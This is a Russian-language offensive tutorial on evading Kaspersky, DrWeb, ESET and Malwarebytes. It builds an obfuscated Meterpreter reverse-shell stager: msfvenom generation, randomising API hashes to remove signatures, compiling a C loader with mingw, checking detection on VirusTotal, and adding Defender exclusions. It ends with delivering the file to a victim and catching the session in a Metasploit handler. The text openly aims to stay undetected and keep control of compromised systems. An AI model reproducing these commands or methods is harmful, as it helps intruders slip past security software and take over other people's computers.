Добро пожаловать обратно, мои кибервоины. С вами снова «Сопутствующий».
Сегодня мы рассмотрим один из методов обфускации, который мы используем во время атак. На этот раз мы обходим известные российские антивирусы, такие как Kaspersky, DrWeb и другие, которые могут быть установлены на типичной системе. Этот процесс называется уклонением. Цель — оставаться незамеченным, избегать обнаружения и сохранять контроль над своей оболочкой как можно дольше.
Как вы, возможно, знаете, существуют способы получить обратный шелл через PowerShell или CMD, используя собственные исполняемые файлы Windows. Проблема в том, что антивирусное ПО часто отслеживает эти методы. Даже если сначала оно их пропускает, сеанс обычно вскоре завершается. Вместо этого мы будем использовать обфусцированный стейджер Meterpreter, который даёт вам полный контроль над системой, от Socks и дампа хэша до скриншотов и всего остального, что Meterpreter предлагает «из коробки».
Сначала сгенерируйте ваш стейджер с помощью msfvenom. Это стандартный шаг.
kali > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=<kali_port> -f raw -o file.bin
Если ваша цель — x64, используйте правильную полезную нагрузку для этой архитектуры: kali > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=<kali_port> -f raw -o file.bin
Рандомизация хешей API
Затем удалите известные индикаторы компрометации (IoC) из вашего стейджера. Это, по сути, известные шаблоны или строки, которые ищут антивирусные инструменты. Заменив их рандомизированными данными, вы избежите базового обнаружения на основе сигнатур.Начните с клонирования инструмента рандомизатора хешей с GitHub: kali > git clone https://github.com/embee-research/Randomise-api-hashes-cobalt-strike
Запустите инструмент на вашем стейджере. Он найдет и заменит известные IoC на согласованные, но случайные значения.
После обфусцирования полезной нагрузки скопируйте её для компиляции исполняемого файла. Для преобразования её в массив в стиле C вам понадобится xxd .
kali > xxd -i file.bin_0x69.bin
Создание загрузчика
Далее создайте простой загрузчик на языке C. Этот загрузчик будет содержать вашу зашифрованную полезную нагрузку, поэтому не забудьте вставить ее правильно.
Компиляция исполняемого файла
Когда загрузчик будет готов, скомпилируйте его с помощью mingw-w64 .kali > x86_64-w64-mingw32-gcc loader.c -o loader.exe
Теперь у вас есть исполняемый файл. Пора его протестировать.
Загрузите скомпилированный загрузчик на VirusTotal. Обфусцированная полезная нагрузка должна обойти антивирусы Kaspersky, Dr.Web, ESET и Malwarebytes. Эти антивирусы наиболее часто используются в российских средах.
Обратите внимание: Microsoft Defender может по-прежнему распознавать его. В некоторых случаях добавление EXE-файлов в исключения Defender позволит вашей полезной нагрузке работать без остановки. Если вы контролируете исключения, этот метод хорошо подходит для обеспечения устойчивости.
Для сравнения загрузите базовый стейджер Meterpreter без рандомизации хешей на VirusTotal. Вы увидите существенную разницу в показателях обнаружения.
Доставка и исполнение
Доставьте исполняемый файл на целевую машину любым удобным для вас способом.Настройте прослушиватель в Metasploit для перехвата соединения:
msf6 > использовать эксплойт/мульти/обработчик
msf6 > установить полезную нагрузку windows/x64/meterpreter/reverse_tcp
msf6 > установить LHOST <kali_ip>
msf6 > set LPORT <kali_port>
msf6 > запустить
После запуска исполняемого файла вы получите сеанс Meterpreter.
Этот метод быстрый, простой и эффективный. Он обходит традиционные методы обнаружения и не требует много времени на настройку. Обход вредоносных программ может быть гораздо более сложным, особенно если речь идёт о C# и реверс-инжиниринге. Но этого метода достаточно, чтобы оставаться незамеченным в российских условиях и сохранять доступ.